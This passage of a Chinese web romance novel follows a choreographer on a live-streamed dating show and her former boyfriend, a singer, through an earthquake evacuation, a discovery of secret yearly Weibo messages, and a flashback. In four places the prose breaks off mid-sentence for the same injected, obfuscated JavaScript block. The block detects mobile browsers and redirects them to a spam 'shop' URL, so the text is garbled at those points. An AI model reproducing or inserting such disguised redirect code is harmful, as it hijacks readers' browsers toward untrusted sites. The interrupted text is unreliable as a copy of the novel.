「我的天!时缈小姐姐跳舞了!之前说她是古典舞编导的时候我就很好奇她跳舞的时候到底是什么样子,现在终于心满意足了!好美!」 「终于知道什么是“翩若惊鸿,矫若游龙”了,虽然跳得动作很随意,但真的很舒展很好看。」 「啧啧啧,摄影师真的很会,镜头刚才分别给了直球哥和小奶狗特写,两个人很明显已经被大美女迷住了好嘛!」 「所以美女到底喜欢谁!我每天看得都抓心挠肝的!好想知道自己的cp到底嗑对了没!」 「看看白哥吧姐!年上体贴会疼人!」 「弟弟也行啊!年轻人,热情活力身体好!」 「我怎么觉得这姐姐好像没有什么特别喜欢的男嘉宾,好像跟谁约会的时候状态都差不多的样子……」 「呵呵,某些人还好意思说小艺鱼塘管理,我看时缈这姐才是最会管理鱼塘的吧,到现在了,除了林问,每个男嘉宾她都发过短信了,我看所有异性都要被她钓走她才满足吧?」 「时缈好几次的短信摆明了就是约会之后的礼貌反馈好吧,稍微明眼的人都看得出来她好像真的没有很喜欢的男嘉宾,我看就是节目组的机制安排得不够严谨,为什么没有好感嘉宾还必须要发短信呢?就不能弃权吗?」 好几个谷峪勒姑娘你推我搡地来到许钧闻面前,问他能不能要一张他的签名。 许钧闻笑笑:“抱歉,节目录制期间不可以哦。” 小姑娘们也没气馁,理解地点点头,又雀悦地离开。 许钧闻踱到长桌边,给自己倒了一杯水,漫不经心地喝着,眼神却始终落在时缈所在的方向。 “那个姑娘,是你的心上人吗?” 一个温柔清亮的女声,差点将许钧闻拉入多年前的回忆中。 当年他和时缈一起来旅游时,也碰见了一场婚礼,而在那个晚上,也有热情的谷峪勒人问过他这个问题。 “这么明显吗?”许钧闻回头,同跳累了舞跑来喝水的新娘对上了视线。 “是啊,你看着她的时候,眼睛里像是有星星一样。”新娘点点头,“在我们这里,遇见了自己喜欢的姑娘就要大胆表白,否则,她可能就被别人抢走了哦?” “不会的。” 许钧闻将杯中剩下的水一口饮进,目光灼灼,志在必得的语气:“这次不会让她走了。” * 或许是在篝火晚会上运动消耗得比较大,这一晚,所有嘉宾都早早休息,睡得很沉。 不知到了几点,时缈是被一阵剧烈的震感摇醒的。 挂在衣架上的背包的金属链条和衣架碰撞出清脆的响声。 时缈本来就是个浅眠的人,迷迷糊糊醒来感到有些不对,意识到一件事—— 地震了。 谷峪勒地处西北地震带,对于在这里长大的居民而言,地震已经是一件稀松平常的事情了。 但嘉宾们几乎没有见过这种阵仗。 民宿剧烈地摇晃,发出令人牙酸的摩擦声。 时缈一边叫着温璐的名字,一边从枕头下面摸出手机打开手电筒,接着手电筒微弱的灯光勉强看清此时的状况。 刚一站起身,试图去温璐的床边将人拽起来,刚一下地,一阵剧烈的左右晃动,让她重心不稳,差点重新栽坐回自己的床上。 好在此时温璐也醒了过来,染着睡意的声音微微有些沙哑:“出什么事了?” “地震了,快下楼。” 时缈起身稳住身形,将温璐放在床头柜上充电的手机塞到她手里:“赶紧下楼,当心脚下。” 此时哪还顾得上自己穿着睡衣散着头发,温璐三步并做两步地冲到门口,一拉开门,发现有好几个房间的门也已经打开了。 一群人在黑夜中慌不择路地朝楼梯口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556713|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方向跑去。 “先别管那些摄影机了,人先下去,都下去!” 导演焦急的声音从不远处传来:“看看还有没有其他人没有出来的,离得近的去叫一下!” 时缈打着手电筒,被温璐抓住手腕:“你看不清,我牵着你!” 两个人在一个房间住了近两个星期,温璐自然也知道时缈有夜盲症的事情。 杂乱的脚步声和慌张的惊呼声交织在一起,伴随着脚底传来的震感,拨动着每一个人的神经。 时缈跟着温璐小跑了几步,身后有人高马大的男性工作人员,三两步从她们的身边超了过去,不知是有心还是无意,他冲下楼体时撞到了温璐,导致温璐一个吃痛,无意识中松开了牵着时缈的那只手。 “哎?!时缈!” 温璐叫她。 两人被楼梯口处争先恐后向下跑去的人们冲散,温璐有些无力地高喊着时缈的名字:“过得来吗时缈?还好吗?” “我没事!不用管我,你先下去!” 时缈担心如果温璐继续停在楼梯口,很容易被慌忙逃生的人撞倒,若是在这种时候摔下楼梯或是发生踩踏,后果简直不堪设想。 “我马上来,你放心吧!” 话是这么说,时缈却下意识地回头望向了另一个方向—— 很多人跑出房间的时候都没来得及关门,甚至有些人连灯都没有关,灯光从大敞着的门口洒出来,在门口那一小块木质地板投下一片不规则的形状。 她记得,许钧闻的房间也是在那个方向的。 可是,她印象中那个房间此刻房门紧闭,根本看不出里面到底还有没有人。 “人呢?看见许老师了没?” 导演已经跑到了院子中央空旷的地方,开始轻点人数,声音从二楼未关的窗户露进来。 “还没有!” “里面还有没有人?” “还有一些!” “时缈好像还在后面!” 人声嘈杂,时缈似乎也隐约听见了自己的名字。 可令她最为在意的,还是导演那句带着慌张意味的“看见许老师了没”。 该不会许钧闻还没跑出来吧? 地震短暂地停了下来。 时缈有些迟疑地放缓了脚步—— 趁着地震暂停的这一小会儿,应该够她跑去那头的房间门口确认一下许钧闻的情况了。 这么想着,时缈当机立断地转身,朝着与楼梯相反的方向跑去。 没跑出两步,就被人一把扯住了胳膊。 “明知道自己晚上看不清楚,瞎跑什么。” 是许钧闻。 时缈悬着的心放了下来。 还好,还好,他已经跑出来了。 时缈被他按在怀里,感受到落在她耳边的他急促如擂鼓的心跳声,以及她自己后知后觉涌上来的恐惧感。 “我没有瞎跑。” 她闷闷的回答,任由自己陷在薄荷味的包围圈里。 她忽然折回去,只是担心他还在房间。 “吓死我了。” 他忽然低声说。 时缈一愣:“什么?” 许钧闻揉了揉她的后颈,下巴抵在她的发顶:“差点让你在眼皮子底下走散了。” 38. 38首情歌 “走吧。” 许钧闻拉起时缈的手腕:“跟紧,小心脚下。” 时缈轻轻转了转手腕。 又转了转。 许钧闻带着她慢慢往前走,小心地提醒她注意脚下,在感受到她手腕的“挣扎”时,握住她腕骨的手掌紧了紧,语气也变得有些微妙:“这会儿没人看见,看见也没关系,就直说你夜盲,我见义勇为。” 他还以为,都到了这种时候,时缈的注意力竟然还在“和他避嫌”的这件事上。 小没良心。 时缈愣了下,手腕的动作停下,有些不自在地清了清嗓子,而后轻声道:“不是。” “什么不是?” “……不是怕人看到。” 只是很长时间没有被他这样牵过手腕了,有些不习惯的同时,忽然也有些怀念。 大概是突如其来的地震、随时可能卷土重来的余震以及周遭几乎伸手不见五指的黑暗,让时缈在这一刻彻底放任自己依赖许钧闻,说话时也染上了一些久违的软糯和撒娇:“你这人怎么现在说话阴阳怪气的啊。” “哦,一个莫名其妙被甩了六年的男人该怎么跟甩了他的前任女友说话?我没经验,你教教我?”许钧闻狭促地笑了一声。 时缈哽了一下,不甘示弱:“那我也没见过谁家前男友分手六年了还抓前女友手的呢。” 她晃了晃被许钧闻牵住的手腕,像示威一样。 “你有这个横劲儿,怎么不出去怼其他人?只会在我这里耍威风。” 许钧闻的声音忽然沉下来,变得有些认真严肃:“你刚才明明跑道楼梯口了,折回去干什么?” 地震发生时,许钧闻并不在自己的房间里。 他看得出时缈今晚在篝火晚会上跳舞跳得很开心、很自在,但和她在一起的时候,他无数次近距离看过时缈起舞时的样子,也为她画过很多副肖像速写—— 擅长绘画的人对人类发力时肌肉的走向很敏感,更何况这几年来时缈翩然起舞的样子常常在他的梦里反复回放。 许钧闻看得出来。 时缈现在跳舞时的发力和动作,远远不似当年的状态。 很多合该腰部发力的姿势,都被她轻描淡写地化解过去。 一个不大好的猜测在他心头浮现出来。 那个念头搅得许钧闻心烦意乱,睡不着觉。 于是他便一个人踱步到了院子里,点了根烟,若有所思地看向了时缈所在房间的窗户。 在地震发生的那一刻。 许钧闻其实是全剧组最安全的一个。 但在地动山摇、树叶疯狂颤抖的那一刻,许钧闻拔腿就跑—— 朝着民宿内部所在的方向。 可那时候,所有人都在朝门口的方向涌过来,住在一楼的工作人员们很快就将民宿并不算宽敞的木门口堵得水泄不通。 许钧闻忽然想起,刚入住那天,他曾无意中发现了民宿还有一个通往地下室的后门。 记得民宿的老板当时告诉他们,那个后门通向民宿的地下室的东门,而地下室的西边还有一个直通民宿二楼最西边那两间员工宿舍的通道。 为了不打扰入住民宿的客人,民宿的工作人员们晚上常常通过那条通道进出。 地震的时候,最危险的无意识这栋民宿的地下室。 可许钧闻还是义无反顾地朝后门跑了过去。 上到二楼,许钧闻远远就看见,已经站在东边那头楼梯口的时缈定在原地,似乎想到了什么,然后毅然决然扭头就往反方向跑。 她手里拿着的手机还亮着闪光灯。 光点随着她的动作一上一下的抖动。 许钧闻三步并做两步地跑过去,在时缈不管不顾地逆着逃生路线而行的时候,将人一把扯进了怀里。 像抱住了一个失而复得的宝物。 “你可别说是因为夜盲,跑错了方向。” 许钧闻不给她找借口的机会。 “我……” 时缈一时间不知道该如何开口。 难不成她要承认,自己是因为担心他所以想折回他所在的房间看一眼吗? 可她还没做好将自己的心事袒露给许钧闻的心理准备。 “时缈!” 两人先后走下最后一级台阶,门口传来了温璐关切的叫喊声。 时缈下意识地将手腕从许钧闻的手里抽了回来。 许钧闻顺势松开手。 他并没有打算这么早在众人面前暴露他和时缈之间的关系。 手心一下空空荡荡。 许钧闻将手揣进口袋里,余光看见温璐将时缈牢牢挽住,才目不斜视地朝院内导演组的方向走去。 口袋里,许钧闻的手下意识握成了拳,方才紧贴着时缈手腕内侧皮肤的掌心温热,反复还残留着她皮肤娇嫩的触感。 “吓我一跳,等了半天没见到你,我差点就要冲进去找你了。” 温璐拍了拍胸口,长出一口气。 “你怎么跟许钧闻一起出来的?” “……他睡得比较熟,后面才跑出来,刚好碰到了。” 时缈信口胡诌。 抱歉了,许钧闻。 她可不是故意要败坏他的名声啊。 “居然没有工作人员第一时间去敲门喊他吗?”温璐看向被工作人员团团围住的许钧闻:“刚才他经纪人好像给导演打电话了,导演那语气,就差当场滑跪了。那么大个腕儿,要是在录制节目的时候出点什么岔子,恐怕就真的收不了场了。” 时缈朝许钧闻方才走向的方向看过去—— 此时院子里只有淡淡的月光铺洒下来,时缈其实看得并不是很清楚。 但她隐约间,似乎瞧见了许钧闻朝她这边回了下头。 * 《适合恋爱的夏天》目前是直播,关注着这个节目、关注着节目里嘉宾们的网友、观众和粉丝们自然知道节目组正在谷峪勒录制。 因此部分IP显示为谷峪勒的网友,在地震后第一时间发布了微博,同时还不忘带上节目组以及嘉宾们的tag,以此来获得更多的流量和曝光。 一时间,嘉宾们的微博评论区里涌入了不少网友们焦急、担忧的评论。 #谷峪勒地震##适合恋爱的夏天地震#等词条也牢牢占据着热搜榜的前排位置。 因此,在确定了并没有任何人受伤之后,所有人都被节目组要求,登上微博发布了一条报平安的动态。 在签订综艺录制合同之后,每一个素人嘉宾都根据节目组的安排,注册了一个命名格式为“适合恋爱的夏天_xxx”的微博ID,用来转发节目官方微博所发布的一些文案,以及在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566817|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍摄期间进行一系列的宣传。 自带流量的罗艺亭和林问的账号因为比较活跃、会经常和粉丝互动,已经积累了较为客观的粉丝数,他们原本的个人账号也借此获得了很多商务合作的机会。 时缈虽然除了转发节目组微博之外,几乎很少登录,也不发个人动态,但因为她的外貌,以及和白景川、周璨之间的“三角关系”,她的账号也吸引到了不少人前来关注。 于是,在时缈发出了报平安的动态之后,很多此时正在关注着她消息的网友们纷纷来到评论区给予了暖心的安慰。 挑选了几条粉丝评论回复,安抚了一下网友们之后,时缈还是没有什么困意。 毕竟亲身经历了一场有惊无险的地震灾害,又被许钧闻的问题打了个措手不及,时缈这一晚上的心路历程实在太过复杂,让她迟迟难以平静。 索性点开了微博的消息通知,随意翻看着一直没有点开过的评论和私信。 大多数网友们都是十分善意的关心,评论区也时不时会涌现出一些比较有意思的小段子,时缈挑了几条自己感兴趣的,回复互动了一下,然后又点开了长期没有点开过的私信列表。 时缈曾经有一个微博,是她高中时就注册了的,后来因为互关的三次元同学太多,不方便她在微博上发疯,从而渐渐遭到了弃用。 而她大学时期用新手机号注册的微博,倒是一直使用至今,还曾经和许钧闻互关过——不过在和许钧闻分手之后,时缈果断地取消了对许钧闻微博的关注,又将许钧闻的账号移除粉丝并且拉黑,以此来断绝许钧闻联系她的渠道。 但她出国在外那些年,心里的确没能完全放下许钧闻,于是后来她也曾偷偷注册了一个微博小号,重新关注了许钧闻的微博,又关注了许钧闻的超话——这件事,是她自己的小秘密,许钧闻本人并不知道。 而这次,因为节目组要求他们准备一个ID符合要求的新微博用来做节目宣传,时缈才将那个旧微博重新启用了起来。 此时点开了朋友圈,时缈才发现,私信里不仅躺着因为节目从而关注这个微博的网友们发来的消息,还有几个许久不联系的高中同学,大约是在网上刷到了她参加节目的消息,故而试图通过这个微博号的私信重新联系到她。 时缈颇有耐心地挨个将消息点开,回忆发送这个消息的同学的面貌。 很多人,她都有些记不清楚了。 翻着翻着,她忽然发现了一个非常奇怪的账号。 该账号没有设置头像,昵称也是一串非常原始的代码,第一眼看上去非常像是一个水军公司注册的僵尸广告号。 时缈的消息列表里也有一些类似的账号,发来的一些一看就是诈骗的消息,在看过几个这种账号发来的私信后,再看见类似的账号,时缈都是直接略过的。 但偏偏,像是某种莫名的直觉,指尖在划过这个账号时,目光鬼使神差地看了一眼对方发来消息的时间: 上个月。 3月16日。 这是一个对时缈而言,稍稍有些特殊的日子。 是她进入云京舞蹈学院之后参加的第一个剧目——那一年的新生大剧,时缈第一次站在云京大剧院的聚光灯下,出演了自己人生中的第一个剧目女主角的那天。 也是,她和许钧闻,正式确认恋爱关系的日子。 39. 39首情歌 鬼使神差的,时缈点进了那个看上去宛如僵尸号一般的账号的私信。 「3月16日:[图片]」 时缈点开照片,是一张看似平平无奇的日常照片,收拾得干净整洁的桌面上放着一个蓝色的玻璃花瓶,瓶中一束开得灿烂的白色百合花。 没有配任何文字。 不像是群发的奇怪小广告。 如果只是这样一张照片,或许时缈会以为这只是对方随手发错了消息而已。 可她向上滑了滑界面,发现这个账号给她这个微博号发送过不止一条私信。 对话框里六张照片。 有时候是一轮初生的朝阳,有时候是从飞机舷窗向外拍摄的一片厚厚的云层,还有一张拍的是暴雨倾盆时雨滴砸在地面上溅起的水花。 时缈盯着每一条消息上方的浅灰色小字。 每一年的三月十六日,对方都会给她的这个账号发送一张照片。 六张照片,恰好是六年。 所以,这些照片是谁发的? 时缈握着手机的手微微颤抖。 这个废弃的账号,她只跟许钧闻随口提起过一次。 * “许钧闻,我听说明星们红了之后,微博账号都会交给公司打理。” 时缈随手刷着微博,刚要在某个搞笑视频下面艾特许钧闻来看,动作却忽然停下来,一本正经地看着他:“我们两个现在的互动,该不会将来都变成让人塌房的黑历史吧?” 许钧闻揉了一把她的头发:“胡说八道什么,我只想写歌唱歌而已。” “再说了,我们之间又没有什么不正当关系。” 时缈指了指自己锁骨上泛红的痕迹,又指了指将她搂在怀里的许钧闻:“你确定我们两个现在的关系是电视上能播的那种?” 学校安排了包括时缈在内的专业成绩前十的学生,前往南湾古典舞剧团开展为期十五天的集训,前一天下午,时缈才从南湾回到云京。 回到云京之后,时缈连行李都没有拿回宿舍,就马不停蹄地来到了许钧闻这里。 拿出许钧闻给她的备用钥匙,打开门,发现房子干净整洁、空无一人。 她料想许钧闻大概是还在学校上课。 为了给许钧闻一个惊喜,时缈并没有提前告诉许钧闻自己会在今天回来。 时缈打开冰箱,发现里面除了速冻食品之外也没什么其他东西—— 只有时缈在的时候,许钧闻会下厨做一些家常菜,她不在这里吃饭的时候,许钧闻几乎很少正经下厨,经常是随便煮一点泡面馄饨之类的东西对付一下。 正是因为发现了这一点,所以只要时缈有时间,就会来许钧闻这里和他一起吃饭。 恰好这时候她也没什么其他事情,时缈索性出门,去了一趟离得最近的一家超市,买了些食材回来,打算一边做饭一边等许钧闻回家。 等他回来的时候,她应该已经把饭菜准备得差不多了。 啧啧,不知道许钧闻那家伙到时候得感动成什么样子。 ——在时缈的美好想象中,等下应该会是这样一个温馨的场面。 但很可惜,现实常常与想象背道而驰。 许钧闻打开房门,就听见厨房处传来了乒铃乓啷的响动。 要不是看见了摆在门口玄关处的女鞋和行李箱,许钧闻差点以为是小偷走错了方向摸进了厨房。 他走近,站在时缈的身后:“你在干什么呢?” “!!” 时缈正专心致志地对付着面前的虾,被身后的声音吓了一跳,手里的剪刀差点被她丢出去。 “你怎么走路也没个声音呀。” 许钧闻上前,接过她手里的剪刀,将她带到自己身后。 打开水龙头将手洗干净,许钧闻挽起袖口轻车熟路地处理器水池中的活虾。 “我又是开门又是关门的,那么大的动静你都没听见,还要反过来怪我走路没声音?时小姐,你好不讲道理。” 时缈戳了戳许钧闻的肩:“许先生,和女朋友讲道理是不对的哦。” 看了一眼水池里的虾,刚刚还在她的手里挣扎扑腾的家伙们此刻任由许钧闻摆布,只听见剪刀“咔嚓咔嚓”几声,虾头就被许钧闻干脆利落地剪掉。 似乎尾巴还没有接受到“脑袋已经没有了”的信号,盆里的无头虾子还在蜷动。 时缈抖了抖肩,放弃了帮忙的想法。 好吧,她承认,她的确没有任何做菜的天赋。 “我本来想给你做一个油焖大虾的。” 时缈指了指放在支架上的手机:“教程看起来不难啊。” “谁知道,我居然败在了第一步——处理大虾上。” 许钧闻被她的语气逗笑。 时缈看着他手底下利落的动作,忍不住感慨:“许钧闻,你还有什么是不会的吗?” 许钧闻“嗯”了一声:“有啊。” 时缈好奇道:“什么?” 就在许钧闻要回答的时候,时缈忽然拍了下手:“哦对,想起来,你不会喝酒嘛!” “嘿嘿,三杯就倒的许大厨,在喝酒这一点上,我还是比你强上那么一点点、哦不对,强上那么好多点的哦。” 许钧闻回头睨了她一眼,不置可否地笑了笑。 时缈花了半个多小时都还没把那一袋虾处理完。 许钧闻一回来,不到四十分钟,冒着热气的菜肴已经摆在桌上了。 “哇,真幸福。” 时缈只盛了一碗米饭,将它摆在了自己对面,许钧闻的位置上——为了保持体型,她必须要控制自己的油、糖、盐和碳水的摄入量,因此许钧闻的每道菜都做得十分清淡,连时缈之前计划中的油焖大虾,都被他改成了白灼虾。 知道时缈嫌剥虾壳麻烦,许钧闻甚至提前将虾壳全部剥了个干干净净。 时缈捏起一只虾,蘸了蘸许钧闻亲手调的酱汁,一口咬下去,鲜嫩鲜甜的虾肉和蘸料丰富的口感交织在一起,冲击着时缈已经素了一个月的味蕾。 “看过微博上那种段子吗?分手之后还对前男友的火锅蘸料念念不忘的那种。” 时缈满足地喟叹:“我觉得如果有一天,我们分开了,分开之前我要做的最后一件事就是把你这个蘸料的配方要到手!” 许钧闻眯了眯眼睛:“合着你最喜欢的原来不是我,而是这碗蘸料?” “那不是,那当然不是!”时缈举手发誓,“我最喜欢的当然是许钧闻,怎么能是一碗蘸料呢?” 说完,又狡黠一笑:“拥有许大厨,有什么蘸料是我吃不到的!” 许钧闻也没说是否满意时缈的这个答案,只是慢条斯理地给她夹了一筷子青菜:“好吃也别不要吃太撑了,等会儿活动起来胃受不了。” “不活动了,今天运动暂停。”时缈比了个“停止”的手势。 为了维持身材线条,时缈一周七天里有五天都会在睡前做做瑜伽或是拉伸。 许钧闻勾了勾唇角,没有解释。 只是在时缈吃好之后,阻止了她收拾碗筷的动作。 “放着等会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582298|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我收。” 他轻而易举地将时缈抱起来——外出集训这段时间,她好像又瘦了,许钧闻觉得自己抱起她几乎不需要花什么力气,轻松得就像是捧起了一束挂着晨露的玫瑰似的。 时缈被她放在餐桌上,还没来得及抗议,就被人用吻将所有的话堵了回去。 “……碗,别掉了。” 时缈艰难地推了推许钧闻的肩膀,别开头,呼吸凌乱:“别在餐桌上啊。” 许钧闻“嗯”了声,将人打横抱起:“那就换个地方。” …… 年轻小情侣之间,小别胜新婚。 最后时缈被折腾得连手指都懒得动一下,任由许钧闻抱着自己进浴室清洗——虽然这一洗就洗了将近一个小时。 再被抱出来的时候,时缈整个人蔫耷耷的,靠在许钧闻的怀里乖乖让他给自己吹头发。 她算是知道许钧闻为什么叮嘱她不要吃太饱了。 狗男人! 时缈气呼呼地瞪了许钧闻一眼。 “怎么了?太烫了?”许钧闻将吹风机拿得远了一点。 时缈白了他一眼。 刚才怎么没见他这么听话! 但时缈此时只敢在心底里这么吐槽。 在这种场合,她是鱼肉,许钧闻是刀俎。 她可不想一言不合又被某些人折腾一轮。 终于彻底收拾清爽,时缈躺在床上,打开手机漫无目的地翻了翻,忽然指着一条爱豆被爆恋爱、嫂子竟是最大站姐的微博:“下面有粉丝说,这个人的微博评论都是嫂子帮忙回的哎?粉丝简直要气炸了。” 以前只听说过经纪人或者助理帮明星回复粉丝评论的。 嫂子帮爱豆维护粉丝,怎么听怎么炸裂。 “粉丝已经扒出嫂子的个人号了,”时缈咋舌,忽然话锋一转,玩笑道,“我的许大歌手,该不会将来你红了,我也会被人这样挂出来吧?” “不会。” 许钧闻亲亲她的额头:“我又不是偶像。” 时缈点点头,她相信许钧闻并不是那种为了吸引女粉丝故意假装单身的人,以他的人品更做不出一边和圈外女友地下恋一边私联大粉的事,因此刚才那话她也只是随口一说而已。 忽然,时缈想到了什么,挑眉笑笑:“没关系,我还有一个高中那会儿注册的、搁置了许久没有用过的小号,如果将来我的大号被粉丝揪出来了,我就把那个小号找回来偷偷关注你咯。” * 她只是随口和许钧闻提起过自己曾有一个废弃的微博账号。 若不是这次应节目组的要求,需要重新拿出一个账号专门用来做节目宣传,时缈根本不会想起要去找回这个微博的账号密码。 可偏偏,许钧闻不知道花了多少时间,用了什么办法,在互联网这个随时可以更换头像和ID、轻而易举就能伪装成别人身份的茫茫大海里,真的找到了她的这个账号。 还锲而不舍地给这个账号发过消息,尽管这些年从没有收到过回复。 时缈鼻尖一酸,几乎快要落下泪来。 如果她没有参加这个节目,如果她没有点开这条私信。 她是不是永远都不会知道这几条消息的存在? 良久,时缈手指悬在屏幕上方,犹犹豫豫地敲了几个字,又将它们删掉,而后再次组织措辞,随后再度将自己打出来的字删掉。 就这么删删改改好长时间,终于,时缈手指轻轻点击蓝色的“发送”按钮。 「适合恋爱的夏天_时缈:百合花很好看。」 40. 40首情歌 自从那天谷峪勒忽然地震之后,时缈总觉得许钧闻有哪里变得不大对劲。 不仅在吃早餐的时候主动给她倒奶茶,甚至还在午餐的直播镜头下还正大光明地照顾起了她的饮食口味—— “不是喜欢吃这个?” 许钧闻指了指靠近他这边的土豆炖牛腩,像是刚刚发现时缈的喜好似的,坦荡又大方:“喜欢的话换到你那边去。” 一时间,所有人的目光都聚集在时缈的身上。 “不用不用。” 时缈摆摆手,还不忘紧急往回找补几句:“我只是偶然提了一嘴,没想到许老师的记性这么好。” 「所以许钧闻只是看上去不太好相处的样子,实际上还是个蛮细心的人哦,别人随口一提的喜好都会记在心上,好暖哦~」 「怎么不见他记得其他人的口味哦?该不会观察员观察到一半忽然下场和嘉宾好上了吧hhhhhh那未免也太抓马了!」 「口区,好恶心,前面不是还营销自己深情人设对前女友念念不忘吗,转头就看上素人美女了?果然,男人都是垃圾。」 「前面的不要脑补过度好吧,人家只是恰好说起过自己的口味,许哥恰好记住了而已,什么都没发生在这儿贷款骂人的都4000+哈:)」 “要不是这次和钧闻一起录节目,我都没想到他居然是这么细心一个人。” 程子归拍了拍许钧闻的肩膀:“要不是他准备的驱蚊套餐,我恐怕就要变成蚊虫的自助餐了。我老婆看了直播都夸钧闻想得周到呢。” 许钧闻笑笑:“顺手的事。” 一直守着直播间的豪哥无语地翻了个白眼。 可不就是顺手的事嘛。 以前从来不热衷于圈内人情往来的家伙,忽然打电话让助理照着他写的清单以及参加节目录制的嘉宾人数去准备驱蚊用品,豪哥还以为他是忽然开窍了,知道维系圈内人脉、在镜头前好好表现了,甚至以为是为了给圈内艺人们准备用品顺便给素人嘉宾们准备上一份呢…… 现在看来,恐怕其他人都是“顺手”。 他真正想送的,大概只有那一位吧。 吃完午餐,众人回房间休息,顺便提前开始收拾自己的东西——谷峪勒这边的录制告一段落,节目组的工作人员以及嘉宾们将在后天启程回江城。 时缈在楼梯拐角、墙上摄像头的死角处磨蹭了一会儿,终于等到许钧闻慢条斯理地走过来。 看见时缈站在这里,许钧闻扫了两眼挂在角落的摄像头,侧头朝她挑了下眉。 时缈皱着眉头,瞪了他一眼。 威胁之意溢于言表。 许钧闻低笑一声,仗着时缈不会在镜头下多说什么,耸了下肩,在镜头拍不到的角度朝她做了个口型: “江城见。” * 艺人嘉宾们各有各的行程,在谷峪勒站录制结束后,各自动身飞去全国各地,在夹缝中赶通告活动。 许钧闻在机场候机时还给时缈发了微信: 「许钧闻:有工作要提前回去处理。」 「时缈:哦。」 「许钧闻:你回江城之后直接回别墅?」 「时缈:不好说,应该要先去剧团一趟。」 她离开江城一周,回去后是一定要去剧团盯一下新剧目的排练情况的。 这是她回国后亲自负责的第一出古典舞剧,时缈比任何人都希望它能够顺利地完成首演。 「许钧闻:知道了。」 「许钧闻:路上注意安全,有任何事给我打电话。」 时缈垂着眸子,盯着最新收到的这条消息看了一会儿。 忽然想起了自己当年在英国时,隔着大洋和时差给许钧闻打电话发消息时的情形。 「时缈:大明星行程那么忙,居然还有空接电话吗?」 但在发出去的那一刻,时缈又后悔了。 于是立刻将消息撤回。 「许钧闻:?」 时缈不知道他这个问号代表什么,也不确定许钧闻到底有没有看到刚才那句有些阴阳怪气的回复。 但他没有追究,时缈就当他没有看见。 「时缈:你也是。」 「时缈:路上小心。」 坐在贵宾候机室里,许钧闻喝了一口咖啡,皱眉看着屏幕。 虽然时缈撤回得很快,但他还是看清了刚才那条消息。 即便是分手前夕,两人联系频率渐渐减少的那段时间里,许钧闻在学校和公司之间忙得团团转,但在他的印象里,他也没有漏接或是漏回时缈的任何消息。 哪怕是当下没有接到,事后他在看见未读或是未接提醒的第一时间也会回复她的信息。 所以许钧闻不是很明白,时缈那句话究竟是想表达什么意思。 可在他回复了一个问号之后,时缈很显然不想就刚才那句话进行任何的解释或是讨论,生硬地结束了这段简短的,由他发起的对话。 他们两个人之间,到底还存在着那些没有解开的误会或是心结。 许钧闻闭上眼,捏了捏自己的鼻梁。 机场广播开始播报登机信息。 许钧闻乘坐的那趟飞往江城的航班已经开始登机了。 许钧闻起身,朝登机口走去。 即便身体离开了这里,可他的心却被留在了谷峪勒。 他默默告诉自己。 不要着急,要给她时间,只要他有足够的耐心,所有的事情都会有解决的那一天的。 * “时缈,我觉得你还是再考虑一下吧,咱们节目现在的热度你也知道,这可是别人打着灯笼都找不到的好机会啊。” 导演坐在时缈对面,给她倒了一杯茶水:“而且咱们的合同里也写明了,嘉宾中途退出节目录制,除不可抗因素之外,都是要赔付节目组违约金的。咱们这个节目都录了一半了,现在退出还要赔钱,多少有些不划算了吧。” 时缈握着杯子,目光柔和却坚定:“您说的这些我都有认真想过,但我还是觉得,我现在的状态可能不适合继续录制咱们这档综艺了。” “有什么不适合的?你说出来,有任何困难的话我们想办法帮你解决。” 时缈、白景川、周璨三人之间扑朔迷离的感情线是目前最吸引观众们眼球的,每每节目直播,关于他们三个人的词条总能在当天的热搜榜上占据一席之地。 导演实在不想失去时缈这个热度最高的女嘉宾。 时缈垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592413|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,一时没有答话。 自从她认清自己对许钧闻仍然抱有幻想之后,她就在思考自己是否应该继续录制这档节目。 如果没有和许钧闻重逢,时缈倒也能说服自己,如果能够碰上一个脾气秉性都合得来的人也不失为一件好事。 可她偏偏就在这里遇见了许钧闻,偏偏她又还没有真的放下许钧闻。 